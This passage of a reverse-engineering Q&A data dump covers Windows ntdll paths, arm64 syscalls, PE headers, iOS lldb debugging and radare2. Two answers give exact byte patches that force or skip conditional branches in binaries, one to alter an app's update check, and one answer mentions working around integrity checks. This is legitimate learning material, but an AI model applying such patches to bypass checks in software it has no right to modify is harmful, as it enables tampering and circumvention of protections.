  <row Id="18831" PostTypeId="1" CreationDate="2018-07-18T06:07:32.170" Score="3" ViewCount="2624" Body="&lt;p&gt;Came across this while debugging a exe. Cant find much on it anywhere so thought I'll put it up here. Any ideas as to what this could be used for?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CPU Disasm&#xA;Address   Hex dump          Command                                  Comments&#xA;77887F10   .  64 3A 5C 77 3 ASCII &quot;d:\w7rtm\minkern&quot;                 ; ASCII &quot;d:\w7rtm\minkernel\ntdll\ldrinit.c&quot;&lt;/p&gt;&#xA;" OwnerUserId="25001" LastActivityDate="2018-07-18T06:13:43.287" Title="What location is this and what does it signify - &quot;d:\w7rtm\minkernel\ntdll\ldrinit.c&quot;" Tags="|malware|" AnswerCount="1" CommentCount="2" ClosedDate="2018-07-18T07:36:02.257" ContentLicense="CC BY-SA 4.0" />
  <row Id="18832" PostTypeId="2" ParentId="18831" CreationDate="2018-07-18T06:13:43.287" Score="0" Body="&lt;p&gt;Looks like a path that you might find in a checked (== with assertions) build of Windows 7 as a source path in the output of failed assertions. However, it could be a fake to make something appear more legit. You're tagging the question as &lt;a href=&quot;/questions/tagged/malware&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;malware&amp;#39;&quot; rel=&quot;tag&quot;&gt;malware&lt;/a&gt; but I don't quite see the connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given the path it would not be inconceivable to think that this is some code that uses an older version of &lt;code&gt;ntdll.dll&lt;/code&gt; loaded by another name. Stranger things have happened, such as loading a second &lt;code&gt;ntoskrnl.exe&lt;/code&gt; to dodge a possibly patched &lt;em&gt;running&lt;/em&gt; kernel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway the RTM in &lt;code&gt;w7rtm&lt;/code&gt; means release to manufacturer and refers to the very first release version of a Windows. And given that this refers to Windows 7, this is &lt;em&gt;several&lt;/em&gt; years old by now.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2018-07-18T06:13:43.287" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18834" PostTypeId="2" ParentId="16917" CreationDate="2018-07-18T08:42:32.720" Score="13" Body="&lt;p&gt;arm64 syscall numbers are defined at: &lt;a href=&quot;https://github.com/torvalds/linux/blob/v4.17/include/uapi/asm-generic/unistd.h&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/torvalds/linux/blob/v4.17/include/uapi/asm-generic/unistd.h&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is a bit confusing since it is quite different from x86 and x86_64 and arm 32-bit which define syscall numbers under &lt;code&gt;arch/&lt;/code&gt;, e.g. &lt;a href=&quot;https://github.com/torvalds/linux/blob/v4.17/arch/arm/tools/syscall.tbl&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;arch/arm/tools/syscall.tbl&lt;/code&gt;&lt;/a&gt; for arm 32-bit, but the arm64 file has a comment saying:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;New architectures should use this file and implement the less feature-full calls in user space.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;so I'm guessing that it is just because aarch64 is new and used a newer more arch agnostic mechanism, while the old ones can never break userland compatibility and thus cannot be updated to the new mechanism.&lt;/p&gt;&#xA;&lt;p&gt;This is corroborated by the following minimal runnable aarch64 assembly Linux call example that works on QEMU and uses &lt;code&gt;64&lt;/code&gt; for &lt;code&gt;write&lt;/code&gt; and &lt;code&gt;93&lt;/code&gt; for &lt;code&gt;exit&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;main.S&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.text&#xA;.global _start&#xA;_start:&#xA;    /* write */&#xA;    mov x0, #1&#xA;    ldr x1, =msg&#xA;    ldr x2, =len&#xA;    mov x8, #64&#xA;    svc #0&#xA;&#xA;    /* exit */&#xA;    mov x0, #0&#xA;    mov x8, #93&#xA;    svc #0&#xA;msg:&#xA;    .ascii &amp;quot;hello world\n&amp;quot;&#xA;len = . - msg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/cirosantilli/arm-assembly-cheat/blob/4735730c384740405f4a521ed9aa7a6c827bce6d/v8/linux/hello.S&quot; rel=&quot;nofollow noreferrer&quot;&gt;GitHub upstream&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Assemble and run:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;aarch64-linux-gnu-as -o main.o main.S&#xA;aarch64-linux-gnu-ld -o main.out main.o&#xA;qemu-aarch64 main.out&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Tested in Ubuntu 16.04 amd64.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;code&gt;strace&lt;/code&gt; source code&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is a good place to easily cheat to check the syscall numbers, see: &lt;a href=&quot;https://unix.stackexchange.com/questions/421750/where-do-you-find-the-syscall-table-for-linux/499016#499016&quot;&gt;https://unix.stackexchange.com/questions/421750/where-do-you-find-the-syscall-table-for-linux/499016#499016&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;It also confirms what I said about newer archs seeming to have unified call numbers.&lt;/p&gt;&#xA;" OwnerUserId="12321" LastEditorUserId="12321" LastEditDate="2020-09-17T16:29:41.500" LastActivityDate="2020-09-17T16:29:41.500" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18835" PostTypeId="2" ParentId="18823" CreationDate="2018-07-18T10:03:40.883" Score="3" Body="&lt;p&gt;As confirmed in a comment, these strings appear in the Resources section of the executable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this image (taken from the related &lt;a href=&quot;https://reverseengineering.stackexchange.com/q/12043/2959&quot;&gt;IDA Pro can&amp;#39;t view part of the file, which I can see exists WinHEX&lt;/a&gt; and adjusted to highlight this option):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xOy5k.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xOy5k.png&quot; alt=&quot;That is the option to click&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is likely disabled by default because they are not important to the process of &lt;em&gt;disassembling&lt;/em&gt;, and they might be quite large. So this is only (marginally) useful when you are &lt;em&gt;interpreting&lt;/em&gt; parts of the disassembly that use resources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Ida PRO does not parse common resource formats, it may not be able to show your strings in its &quot;Strings&quot; window, and always list them as raw data. So you may want to prefer to use an external resource viewer anyway.&lt;/p&gt;&#xA;" OwnerUserId="2959" LastActivityDate="2018-07-18T10:03:40.883" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18838" PostTypeId="1" CreationDate="2018-07-18T12:48:37.570" Score="2" ViewCount="252" Body="&lt;p&gt;I'm trying to lldb debug this certain iOS application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its behavior is that when I click the application, the splash/loading screen comes up, then the main activity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, whenever I try to debug the app via lldb, it gets stuck in the splash/loading screen. Even when I set breakpoints, it doesn't stop, but dwell in the screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, when I process connect via lldb, this shows up:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Process 2517 stopped&#xA;* thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP&#xA;    frame #0: 0x000000010496d444 dyld` dyld::findMappedRange(unsigned long)  + 32&#xA;dyld`dyld::findMappedRange:&#xA;-&amp;gt;  0x10496d444 &amp;lt;+32&amp;gt;: cbz    x8, 0x10496d460           ; &amp;lt;+60&amp;gt;&#xA;    0x10496d448 &amp;lt;+36&amp;gt;: ldur   x13, [x12, #-0x8]&#xA;    0x10496d44c &amp;lt;+40&amp;gt;: cmp    x13, x0&#xA;    0x10496d450 &amp;lt;+44&amp;gt;: b.hi   0x10496d460               ; &amp;lt;+60&amp;gt;&#xA;    0x10496d454 &amp;lt;+48&amp;gt;: ldr    x13, [x12]&#xA;    0x10496d458 &amp;lt;+52&amp;gt;: cmp    x13, x0&#xA;    0x10496d45c &amp;lt;+56&amp;gt;: b.hi   0x10496d47c               ; &amp;lt;+88&amp;gt;&#xA;    0x10496d460 &amp;lt;+60&amp;gt;: add    x11, x11, #0x1            ; =0x1 &#xA;Target 0: () stopped.&#xA;&#xA;thread #1: tid = 0x1e2a0, 0x000000010496d444 'dyld`dyld::findMappedRange(unsigned long) + 32, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, I &lt;code&gt;continue&lt;/code&gt;, but the splash/loading screen doesn't process to the next activity.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Process 2517 resuming&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I &lt;code&gt;process interrupt&lt;/code&gt; to stop, and lldb shows the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Process 2517 stopped&#xA;* thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP&#xA;    frame #0: 0x000000018348816c libsystem_kernel.dylib` mach_msg_trap  + 8&#xA;libsystem_kernel.dylib`mach_msg_trap:&#xA;-&amp;gt;  0x18348816c &amp;lt;+8&amp;gt;: ret    &#xA;libsystem_kernel.dylib'mach_msg_overwrite_trap:    0x183488170 &amp;lt;+0&amp;gt;: mov    x16, #-0x20&#xA;    0x183488174 &amp;lt;+4&amp;gt;: svc    #0x80&#xA;    0x183488178 &amp;lt;+8&amp;gt;: ret    &#xA;libsystem_kernel.dylib'semaphore_signal_trap:    0x18348817c &amp;lt;+0&amp;gt;: mov    x16, #-0x21&#xA;    0x183488180 &amp;lt;+4&amp;gt;: svc    #0x80&#xA;    0x183488184 &amp;lt;+8&amp;gt;: ret    &#xA;libsystem_kernel.dylib'semaphore_signal_all_trap:    0x183488188 &amp;lt;+0&amp;gt;: mov    x16, #-0x22&#xA;Target 0: () stopped.&#xA;&#xA;* thread #1: tid = 0x1e2a0, 0x000000018348816c 'libsystem_kernel.dylib`mach_msg_trap + 8, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP&#xA;  thread #7: tid = 0x1e646, 0x00000001834a6314 'libsystem_kernel.dylib`__semwait_signal + 8, name = 'DeadLockMonitorThread'&#xA;  thread #8: tid = 0x1e647, 0x000000018348816c 'libsystem_kernel.dylib`mach_msg_trap + 8, name = 'com.apple.uikit.eventfetch-thread'&#xA;  thread #11: tid = 0x1e667, 0x000000018348816c 'libsystem_kernel.dylib`mach_msg_trap + 8, name = 'APFileLog'&#xA;  thread #17: tid = 0x1e66d, 0x000000018348816c 'libsystem_kernel.dylib`mach_msg_trap + 8, name = 'com.apple.NSURLConnectionLoader'&#xA;  thread #18: tid = 0x1e67b, 0x000000018348816c 'libsystem_kernel.dylib`mach_msg_trap + 8, name = 'AVAudioSession Notify Thread'&#xA;  thread #19: tid = 0x1e68b, 0x00000001834a5e1c 'libsystem_kernel.dylib`__psynch_cvwait + 8&#xA;  thread #20: tid = 0x1e6ea, 0x000000018348816c 'libsystem_kernel.dylib`mach_msg_trap + 8, name = 'com.alipay.antlog'&#xA;  thread #21: tid = 0x1e70c, 0x00000001834a6a88 'libsystem_kernel.dylib`__workq_kernreturn + 8&#xA;  thread #22: tid = 0x1e719, 0x00000001834a6a88 'libsystem_kernel.dylib`__workq_kernreturn + 8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any idea why it is not going past the splash/loading screen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="25059" LastEditorUserId="25059" LastEditDate="2018-07-18T12:59:42.737" LastActivityDate="2018-07-18T12:59:42.737" Title="(iOS lldb) Unable to debug past a splash/loading screen" Tags="|debugging|debuggers|ios|lldb|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18839" PostTypeId="1" AcceptedAnswerId="18841" CreationDate="2018-07-18T16:43:18.800" Score="2" ViewCount="3465" Body="&lt;p&gt;I try to modify the branch of this disassembly in a binary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SUB             SP, SP, #0x60&#xA;STP             X26, X25, [SP,#0x50+var_40]&#xA;STP             X24, X23, [SP,#0x50+var_30]&#xA;STP             X22, X21, [SP,#0x50+var_20]&#xA;STP             X20, X19, [SP,#0x50+var_10]&#xA;STP             X29, X30, [SP,#0x50+var_s0]&#xA;ADD             X29, SP, #0x50&#xA;MOV             X20, X0&#xA;MOV             X0, X2&#xA;BL              _objc_retain&#xA;MOV             X19, X0&#xA;ADRP            X8, #selRef_shouldCheckForUpdate@PAGE&#xA;LDR             X1, [X8,#selRef_shouldCheckForUpdate@PAGEOFF] ; char *&#xA;MOV             X0, X20 ; void *&#xA;BL              _objc_msgSend&#xA;CBZ             W0, loc_ADCC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically, the binary are checking for update and will prompt if it should, and for the sake of learning, I wanted to achieve on how to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Always go to loc_ADCC and;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Always ignore loc_ADCC (Skip from going to loc_ADCC)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This ARM64 really got me confused, I could however understand it in 32bit, but not in 64bit. It's like a new world. You could see the screenshot &lt;a href=&quot;https://i.stack.imgur.com/jmibr.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; for a better visualization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="25050" LastEditorUserId="25050" LastEditDate="2018-07-20T04:29:08.387" LastActivityDate="2019-11-29T10:37:57.587" Title="How to Modify this Branch in ARM64?" Tags="|disassembly|arm|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="18840" PostTypeId="1" AcceptedAnswerId="18844" CreationDate="2018-07-19T00:41:27.133" Score="3" ViewCount="3643" Body="&lt;p&gt;i made a random console application and loaded into IDA. The start of .text section shown is 00BA1000. Then i loaded the application into CFF explorer. The address of entry point was 000110AA. Is it the offset to the function? If yes, is it the raw offset (in the exe file) or virtual offset (after the exe is loaded in memory) ? Then i saw there was a key named 'base of code'. Why isnt addressofentrypoint the same as base of code? I mean, they are start of the text section too right? With IDA , i can know the start of .text section is 00BA1000. But, how can i know it with CFF explorer? With CFF, i can know the virtual address of text section is 00011000. So when the program is loaded into memory, the start of the text section should be imagebase + 00011000 right? With ollydbg i can know its wrong. The calculated address isnt the correct one, but the one shown in IDA is. These questions messed me up. Hope you can help me !!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CFF explorer (basically helps you look into PE header) : &lt;a href=&quot;https://ntcore.com/?page_id=388&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ntcore.com/?page_id=388&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshots:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Fj8vy.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/Fj8vy.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mOCHs.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/mOCHs.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5rW6t.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/5rW6t.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot for reading!&lt;/p&gt;&#xA;" OwnerUserId="25067" LastActivityDate="2018-07-19T17:30:37.793" Title="How to find start of .text section?" Tags="|ida|disassembly|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18841" PostTypeId="2" ParentId="18839" CreationDate="2018-07-19T08:54:20.577" Score="7" Body="&lt;p&gt;So, there are these  options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;to always take the branch, you need to convert &lt;code&gt;CBZ&lt;/code&gt; (compare and branch if zero) to simple &lt;code&gt;B&lt;/code&gt; (branch always). Let's have a look at the encodings of both:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://developer.arm.com/products/architecture/a-profile/docs/ddi0596/latest/a64-base-instructions-alphabetic-order/b&quot; rel=&quot;noreferrer&quot;&gt;B:&lt;/a&gt;&#xA;&lt;code&gt;&#xA;    31 30  29  28  27  26   25 .. 0&#xA;     0  0  0   1   0   1    imm26&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://developer.arm.com/products/architecture/a-profile/docs/ddi0596/latest/a64-base-instructions-alphabetic-order/cbz&quot; rel=&quot;noreferrer&quot;&gt;CBZ:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;31  30  29  28  27  26  25  24  23..5 4..0&#xA;sf  0   1   1   0   1   0   0   imm19 Rt&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To convert &lt;code&gt;CBZ&lt;/code&gt; to &lt;code&gt;B&lt;/code&gt;, you need to patch the opcode part (bits 31..26) and move the &lt;code&gt;imm19&lt;/code&gt; field (branch offset) to the &lt;code&gt;imm26&lt;/code&gt; field of the &lt;code&gt;B&lt;/code&gt; opcode (bits 25..0). Since both opcodes interpret the offset in the same way (multiply by 4 and add to PC), you don't need to do any conversion besides sign extension. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, let's take this instruction from a random sample I had:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;05088 E0 01 00 34  CBZ W0, loc_50C4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Opcode as a 32-bit value: &lt;code&gt;0x340001E0&lt;/code&gt; (AArch64 always uses little-endian instructions)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In binary: &lt;code&gt;00110100000000000000000111100000&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Split by fields:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;0  0110100 0000000000000001111 00000&#xA;sf op     imm19               Rt&lt;br&gt;&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's assemble the &lt;code&gt;B&lt;/code&gt; opcode (sign-extending imm19 to 26 bits):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;000101  00000000000000000000001111&#xA;op      imm26&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, as hex: 0x1400000F&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After patching:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;5088 0F 00 00 14                 B               loc_50C4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;To skip the branch, you can patch &lt;code&gt;CBZ&lt;/code&gt; to a &lt;code&gt;NOP&lt;/code&gt; (no operation). The &lt;code&gt;NOP&lt;/code&gt; encoding for ARM64 is 0xD503201F or &lt;a href=&quot;https://developer.arm.com/products/architecture/a-profile/docs/ddi0596/latest/a64-base-instructions-alphabetic-order/nop&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;1F 20 03 D5&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-07-19T08:54:20.577" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18843" PostTypeId="2" ParentId="18779" CreationDate="2018-07-19T11:25:39.880" Score="1" Body="&lt;p&gt;Actually, you said what is the solution: use offsets. You can get the offset for that function, global or whatever using the following IDA Python:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Python&amp;gt; hex(here() - idaapi.get_imagebase())&#xA;0x38a0aL&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It subtracts from the address under the cursor the base address of the database. Then, you can tell your friend the offset and she/he will have to go to the beginning of the database (just press the &quot;Home&quot; key a few times), press key 'g' and enter +0xGIVENOFFSET (notice the &lt;strong&gt;+&lt;/strong&gt; at the beginning) to go to the function you want to point her/him.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2018-07-19T11:25:39.880" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18844" PostTypeId="2" ParentId="18840" CreationDate="2018-07-19T16:58:35.490" Score="4" Body="&lt;p&gt;Base of code is where the code starts&lt;br&gt;&#xA;Address of Entrypoint is Where the executable starts executing (the main function's first instruction) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;they both can be same or different   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is an example where they both are same   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;dumpbin /headers funadd.exe | grep -iE &quot;base of code|entry point&quot;&#xA;            1000 entry point (00401000) _WinMain@16&#xA;            1000 base of code&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;that is becasue the main function does not refer any other function   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;suppose you have code like this   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main (void) { printf ( &quot;%x\n&quot; , dosomecrap() ); }   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then when compiling the main function needs to refer to the dosomecrap()   function  so the compiler will compile the dosomecrap() first and put the   code from base of code &lt;/p&gt;&#xA;&#xA;&lt;p&gt;in this case main () comes later in the code section&lt;br&gt;&#xA;so they both wont be same   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Address of Entry Point will point to main()&lt;br&gt;&#xA;Base of code may point to start of dosomecrap()   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;in normal compiled executables   main is not the first code that is exceuted   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it is cruntime init code like maincrtstartup() or WinMainCrtStartup()   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;that is executed first    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;import section can be  merged into text section &lt;/p&gt;&#xA;&#xA;&lt;p&gt;in that case the resolved imports start at base of code &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can write code like this and merge data section into .text section in this case the embedded bytes would be the first bytes at base of code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;windows.h&amp;gt;&#xA;&#xA;int p[] = { '\x90\x90\x90\x90' };&#xA;&#xA;int funAdd() {&#xA;    int myvar = 2; &#xA;    return myvar + p[0];&#xA;}&#xA;&#xA;int CALLBACK  WinMain(_In_ HINSTANCE,_In_opt_ HINSTANCE,_In_ LPSTR,_In_ int) {&#xA;    funAdd();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you compile this with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cl /Zi /W4 /analyze /EHsc /Od /nologo funadd.cpp /link /release /subsystem:windows /entry:WinMain /nologo /merge:.data=.text&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and check you can see bith base of code an address of entry point differ &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Address of entry point has been shifted 16 bytes or 0x10 bytes (alignment requirement says code should be aligned to 16 byte boundary ) &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;dumpbin /headers funadd.exe | grep -iE &quot;base of code|entry point&quot;&#xA;            1010 entry point (00401010) _WinMain@16&#xA;            1000 base of code&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can see the 0x90 as below &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;dumpbin /disasm /range:0x401000,0x401016  funadd.exe&#xA;Microsoft (R) COFF/PE Dumper Version 14.14.26430.0&#xA;Copyright (C) Microsoft Corporation.  All rights reserved.&#xA;&#xA;&#xA;Dump of file funadd.exe&#xA;&#xA;File Type: EXECUTABLE IMAGE&#xA;&#xA;?p@@3PAHA:&#xA;  00401000: 90 90 90 90                                      ....&#xA;  00401004: 00 00 00 00 00 00 00 00 00 00 00 00              ............&#xA;_WinMain@16:&#xA;  00401010: 55                 push        ebp&#xA;  00401011: 8B EC              mov         ebp,esp&#xA;  00401013: E8 08 00 00 00     call        ?funAdd@@YAHXZ&#xA;&#xA;  Summary&#xA;&#xA;        1000 .text&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-07-19T17:30:37.793" LastActivityDate="2018-07-19T17:30:37.793" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18845" PostTypeId="1" CreationDate="2018-07-19T18:39:01.993" Score="6" ViewCount="603" Body="&lt;p&gt;How can i save/reuse/preserve Radare2 metadata (BPs, comments, flags..) of a debug session for a new debug session? I restart the debugger alot and preserving environment would be very helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I start with &lt;code&gt;r2 -d binary -r myenv.rr2 -i myscript.r2s&lt;/code&gt;, create some flags, comments and such and then exit with &lt;code&gt;q&lt;/code&gt;. &lt;code&gt;ood&lt;/code&gt; usually is not enough (weird errors about fds and such. I quit completely most of the time). But if i try to load my project (&lt;code&gt;Po&lt;/code&gt;) its asks me to restart the session and then i'm in a wrong context/process or something.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x7f7d020fb2c0]&amp;gt; Po myproject&#xA;Close current session? (Y/n) &#xA;WARNING: module's base addr + delta is not a valid address&#xA;[0x7f8baef752c0]&amp;gt; dc&#xA;native-singlestep: No such process&#xA;Stepping failed!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25043" LastActivityDate="2024-03-05T14:00:30.073" Title="Radare2 - How to save/restore metadata in debug session (BPs, flag, comments..)?" Tags="|debugging|radare2|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18846" PostTypeId="1" CreationDate="2018-07-19T19:26:18.493" Score="4" ViewCount="1440" Body="&lt;p&gt;Visual Panels Mode (&lt;code&gt;V!&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need more space (height) for &lt;code&gt;RegisterRefs&lt;/code&gt; and less for &lt;code&gt;Registers&lt;/code&gt; (its 50% blank anyway). How can i do that? I can move the vertical split with &lt;code&gt;H&lt;/code&gt; and &lt;code&gt;L&lt;/code&gt; but i couldn't find anything for the horizontal splits.&lt;/p&gt;&#xA;" OwnerUserId="25043" LastActivityDate="2019-04-10T20:46:38.620" Title="Radare2 - How to scale panel height in visual panels mode?" Tags="|radare2|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18847" PostTypeId="2" ParentId="18814" CreationDate="2018-07-19T23:50:30.160" Score="1" Body="&lt;p&gt;At first glance, those two screenshots appear to show completely different instructions within the same memory region, almost as if it's an application that JITs during runtime. &lt;em&gt;(Actually, in the second screen shot, that looks like a region of memory not meant to be disassembled.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, you could attempt to patch via a hex editor like &lt;a href=&quot;https://mh-nexus.de/en/hxd/&quot; rel=&quot;nofollow noreferrer&quot;&gt;HxD&lt;/a&gt;. Since you've found the offsets of those instructions, simply open the .exe in HxD (or whatever other hex editor of choice), head to offsets &lt;code&gt;34EC8&lt;/code&gt; and &lt;code&gt;34F02&lt;/code&gt;, then change each of those bytes according to &lt;a href=&quot;https://c9x.me/x86/html/file_module_x86_id_146.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;the appropriate JNE you need&lt;/a&gt; for the opcodes you see:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;34EC8&lt;/strong&gt;: Change &lt;code&gt;84&lt;/code&gt; to &lt;code&gt;85&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;34F02&lt;/strong&gt;: Change &lt;code&gt;74&lt;/code&gt; to &lt;code&gt;75&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you don't see your original bytes of &lt;code&gt;84&lt;/code&gt; and &lt;code&gt;74&lt;/code&gt; when you go to those offsets, then something's amiss. If you did and you changed them, then save your patched version, run the executable, and see what happens. If you have the same behavior, then it seems highly likely that there's an integrity check of some sort going on. That will require more effort on your behalf to then solve.&lt;/p&gt;&#xA;" OwnerUserId="20928" LastEditorUserId="20928" LastEditDate="2018-07-20T00:13:51.933" 